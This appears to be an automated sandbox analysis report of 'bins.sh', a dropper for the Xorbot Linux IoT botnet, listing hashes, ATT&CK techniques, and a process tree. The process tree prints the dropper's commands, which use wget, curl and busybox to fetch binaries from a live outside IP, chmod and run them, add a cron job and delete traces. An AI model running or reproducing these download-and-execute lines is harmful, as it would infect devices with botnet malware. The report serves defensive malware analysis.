xorbot | 87e202798f80ed10b0857470fe32a9bf5ab5ee4644974700d266b1323b90a615

Analysis

max time kernel
150s
max time network
162s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
29-11-2024 17:10

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General

Target

bins.sh
Size

10KB
MD5

40923aeaf01e0f3f644d5ccba48dd1c1
SHA1

3a5a881c9131e5a2c63324a244681eca6f38dfe6
SHA256

87e202798f80ed10b0857470fe32a9bf5ab5ee4644974700d266b1323b90a615
SHA512

c25de22b41b4c157ff863a2d46c684b6f960390b8c7fb1f22389db1dcbcbf082375ec93500e9daf93f7b6b149c60f8929cf0a4aac857452d54dc5596eeae60dc
SSDEEP

192:fEwGF9xAHbc+OY/8Yw/fi9kA4l11Z7kA4l1IEwGF9CHbXxD8Yw/fL:fEwGF9xAHbc+OY59kA4l11Z7kA4l1IEf

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2053) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
681	chmod

Executes dropped EXE 1 IoCs

Processes:

4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H

ioc	pid	Process
/tmp/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H	682	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H

Renames itself 1 IoCs

Processes:

4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H

pid	Process
683	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.j7CsFf	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5Hcrontab

description	ioc	Process
File opened for reading	/proc/796/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/827/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/846/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/893/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/41/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/702/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/724/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/728/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/974/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/989/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/1008/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/838/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/896/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/1060/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/3/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/815/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/818/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/828/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/782/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/1006/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/25/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/141/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/760/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/1050/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/798/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/948/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/995/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/1013/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/993/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/754/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/862/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/866/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/982/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/778/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/877/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/935/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/1026/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/693/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/704/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/705/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/731/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/1062/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/691/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/694/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/768/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/1036/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/941/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/970/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/8/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/751/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/792/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/816/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/769/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/987/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/42/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/742/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/744/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/764/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/950/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/1005/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/95/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/106/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
File opened for reading	/proc/803/cmdline	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurl

description	ioc	Process
File opened for modification	/tmp/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H	busybox
File opened for modification	/tmp/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H	wget
File opened for modification	/tmp/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:647
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:649
- /usr/bin/wget
  wget http://216.126.231.240/bins/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
  2⤵
  - Writes file to tmp directory
  PID:655
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:669
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
  2⤵
  - Writes file to tmp directory
  PID:679
- /bin/chmod
  chmod 777 4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /tmp/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
  ./4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:682
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:684
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:685
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:686
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:687
- /bin/rm
  rm 4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
  2⤵
  PID:689
- /usr/bin/wget
  wget http://216.126.231.240/bins/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
  2⤵
  PID:692
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
  2⤵
  PID:693

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/var/spool/cron/crontabs/tmp.j7CsFf

Filesize
210B

MD5
d1850b5b9561cc0ba738d93dabe59e64

SHA1
c493653be117f35e6f0f8cda7bc7cb58e0d44588

SHA256
539031b70e6829f536db7721fd9fecdcf79c0c3d329ff6e682652b28626d5643

SHA512
eb2d9490eae941c8ff8eca9a2f88ce89509ce010e930642ae3d818c5e9530c691339e539dfc4d1b9f1c78704ff395a63e5cb2cd1ae87edc0685b202e793ef79c

Download Submit